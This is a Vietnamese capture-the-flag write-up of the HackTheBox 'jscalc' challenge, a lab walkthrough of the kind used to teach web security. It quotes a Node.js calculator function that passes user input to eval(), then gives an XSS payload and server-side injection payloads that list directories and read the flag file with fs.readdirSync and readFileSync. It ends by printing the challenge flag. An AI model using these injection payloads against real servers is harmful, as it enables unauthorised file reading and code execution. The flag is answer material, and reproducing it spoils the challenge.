Contents

Hackthebox - jscalc

Contents

Description

Link challenge tại đây

Step

Đây là giao diện chính của challenge:

https://github.com/g03m0n/pics/assets/130943529/0908df69-912e-48ca-8a83-4faf67075336

Vì chương trình sử dụng hàm eval() để tính toán nên ta có thể tiêm vào một payload XSS:

100*10-3+340 +'<img src=abc onerror="alert(123)">'

https://github.com/g03m0n/pics/assets/130943529/9ba0e4db-e9a8-4363-97b5-b899ca6697c7

Kiểm tra source code, đọc file package.json, nhận thấy challenge sử dụng node.js => Có thể execute JavaScript code ở back-end.

https://github.com/g03m0n/pics/assets/130943529/a9be13d1-4dff-4ea4-af0c-62aef3a35b47

Chương trình sử dụng API api/calculate. Từ web_jscalc/challenge/routes/computerHelper.js, hàm calculate() trả về kết quả từ hàm eval() và đưa ra một ngoại lệ chỉ khi có lỗi cú pháp. Do đó nó không kiểm tra các trường hợp ngoại lệ khác.

---
module.exports = {
    calculate(formula) {
        try {
            return eval(`(function() { return ${ formula } ;}())`);                                                 

        } catch (e) {
            if (e instanceof SyntaxError) {
                return 'Something went wrong!';
            }
        }
    }
}
---

Node.js có một số mô-đun tích hợp có thể được sử dụng để chèn lệnh: process, fs, readdir(), readFile(),…

Tiến hành khai thác: Đầu tiên kiểm tra đường dẫn hiện tại bằng query:

process.cwd()

https://github.com/g03m0n/pics/assets/130943529/fe63d98e-853c-4675-9962-9a83b7407920

Kiểm tra các thư mục và file có trong thư mục hiện tại bằng cách sử dụng readdirSync():

require('fs').readdirSync('/app').toString()

https://github.com/g03m0n/pics/assets/130943529/a7fe7b39-fcc5-4110-a33e-faf75e4e6f7a

Thêm dấu .. vào trước đường dẫn để kiểm tra tại thư mục /:

require('fs').readdirSync('../').toString()

https://github.com/g03m0n/pics/assets/130943529/6e901104-8ace-4c19-882f-a6b623f6ef92

Sử dụng readFileSync() để đọc file flag.txt:

require('fs').readFileSync("/flax.txt").toString()

https://github.com/g03m0n/pics/assets/130943529/d7466910-8d79-4be8-99eb-e406a56164e6

Flag: HTB{c4lcul4t3d_my_w4y_thr0ugh_rc3}